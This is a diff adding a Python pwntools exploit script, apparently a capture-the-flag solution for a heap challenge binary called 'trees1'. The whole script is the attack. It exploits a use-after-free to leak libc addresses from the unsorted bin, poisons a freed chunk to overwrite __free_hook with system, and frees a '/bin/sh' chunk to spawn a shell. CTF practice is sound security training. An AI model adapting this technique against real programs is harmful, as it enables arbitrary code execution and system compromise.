|
| 1 | +from pwn import * |
| 2 | + |
| 3 | +e = ELF("./trees1") |
| 4 | + |
| 5 | +libc = ELF("./libc.so.6") |
| 6 | + |
| 7 | +p = process("./trees1") |
| 8 | + |
| 9 | +#context.log_level="debug" |
| 10 | +gdb.attach(p)#, """break * main+302""") |
| 11 | + |
| 12 | + |
| 13 | +def create(): |
| 14 | + print("create") |
| 15 | + p.sendlineafter(">", "1") |
| 16 | + p.recvuntil("ID ") |
| 17 | + return int(p.recvuntil(",")[:-1]) |
| 18 | + |
| 19 | + |
| 20 | +def delete(idx): |
| 21 | + print("delete") |
| 22 | + p.sendlineafter(">", "2") |
| 23 | + p.sendlineafter(">", str(idx)) |
| 24 | + |
| 25 | + |
| 26 | +def edit(idx, name, d_len, d, amt): |
| 27 | + p.sendlineafter(">", "3") |
| 28 | + p.sendlineafter(">", str(idx)) |
| 29 | + p.sendlineafter(".", name) |
| 30 | + p.sendlineafter(">", str(d_len)) |
| 31 | + p.sendlineafter(".", d) |
| 32 | + p.sendlineafter(">", str(amt)) |
| 33 | + |
| 34 | + |
| 35 | +def show(idx): |
| 36 | + p.sendlineafter(">", "4") |
| 37 | + p.sendlineafter(">", str(idx)) |
| 38 | + |
| 39 | + |
| 40 | +# leak heap + libc by freeing a chunk into unsorted and then UAF |
| 41 | +# delete even chunk, read odd chunk |
| 42 | + |
| 43 | +# fill tcache |
| 44 | +for i in range(7): |
| 45 | + create() |
| 46 | + |
| 47 | + edit(i+1, "AAAABBBBCCCCDDD", 0xf0, "BBBBEEEEFFFFGGGGHHHH", i+1) |
| 48 | + |
| 49 | + |
| 50 | +create() # 8 |
| 51 | +edit(8, "A", 0xf0, "B", 8) |
| 52 | + |
| 53 | +create() # 9, prevent consolidation w/ top |
| 54 | + |
| 55 | + |
| 56 | +for i in range(7): |
| 57 | + delete(i+1) |
| 58 | + |
| 59 | + |
| 60 | +delete(8) |
| 61 | + |
| 62 | + |
| 63 | +for i in range(9): # ends on chunk 18. |
| 64 | + # have to take 7 from tcache, 1 from fastbins, |
| 65 | + # then the last one (chunk 18) will be from unsorted bin and have libc pointers |
| 66 | + create() |
| 67 | + |
| 68 | + |
| 69 | +show(18) |
| 70 | + |
| 71 | +# parse leaked libc |
| 72 | +dat = p.recvline().strip().split()[0] |
| 73 | +libc.address = int(dat) - 0x1e4d90 |
| 74 | +print("libc address", hex(libc.address)) |
| 75 | +print("libc system", hex(libc.sym["system"])) |
| 76 | +print("libc free hook", hex(libc.sym["__free_hook"])) |
| 77 | + |
| 78 | + |
| 79 | +create() # 19 |
| 80 | +create() # 20 |
| 81 | +create() # 21 |
| 82 | + |
| 83 | +delete(20) |
| 84 | +edit(21, p64(libc.sym["__free_hook"]), 0x69, "BBBB", 21) |
| 85 | + |
| 86 | +create() # 22 |
| 87 | +create() # 23 |
| 88 | + |
| 89 | +edit(23, p64(libc.sym["system"]), 0x20, "BBBB", 23) |
| 90 | + |
| 91 | + |
| 92 | +edit(19, "/bin/sh", 2, "A", 19) |
| 93 | +delete(19) |
| 94 | + |
| 95 | +p.interactive() |
0 commit comments